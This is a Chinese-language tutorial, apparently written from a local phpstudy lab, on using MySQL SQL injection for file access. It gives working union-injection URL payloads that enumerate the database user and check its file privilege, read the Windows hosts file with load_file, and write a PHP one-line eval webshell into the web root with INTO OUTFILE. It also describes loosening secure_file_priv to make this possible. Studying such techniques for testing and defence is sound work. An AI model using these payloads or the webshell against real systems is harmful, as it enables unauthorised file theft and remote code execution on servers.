文章目录
条件
SQL注入有直接SQL注入,也有文件读写时的注入,后者的主要
目的在于获取webshell或盗取重要文件。
- 当前(连接)数据库的用户具有文件读写权限。
- 已知读写目标文件的绝对路径。
web 应用在服务器上的绝对路径,一般情况下是不知道的。
但是系统敏感文件的路径是固定的。
- 安全选项secure_file_priv允许导入导出操作。
secure_file_priv=null,不允许导入导出操作。
secure_file_priv=目录名,只允许此目录及子目录下导入导出操作。
secure_file_priv= ,不对导入导出操作做限制。
利用SQL注入漏洞读取hosts文件
查看文件读写权限
输入语句逐个查看当前用户,查看到第三个用户发现他是root权限:
?id=1' and 1=2 union select 1,user(),3 --+

输入语句查看用户的权限
?id=1' and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost' --+
查看后用户具有文件读写权限:

安全选项允许导入导出
登录phpMyAdmin,点击变量,在搜索框中搜索priv,可以看到下面的变量,secure file priv的值为null:

然后在phpstudy中打开配置文件:

在mysqld中加入secure_file_priv=,保存

重启phpstudy,并刷新phpMyAdmin页面,搜索后发现发现变量secure file priv的值已经为空,此时已修改成功:

读取hosts文件
已知hosts文件的绝对路径是c:\windows\system32\drivers\etc\hosts,输入下面的联合查询语句,对hosts文件进行读取(注意需要对路径中的\进行转义):
?id=1' and 1=2 union select 1,2,load_file("c:\\windows\\system32\\drivers\\etc\\hosts") --+
读取成功:

利用SQL注入漏洞写入一句话木马,并用蚁剑连接webshell
写入文件
输入下面SQL语句,在www目录下写入一个muma.php文件
?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile
"c:\\phpstudy\\WWW\\muma.php" --+
执行成功:

写入的文件:
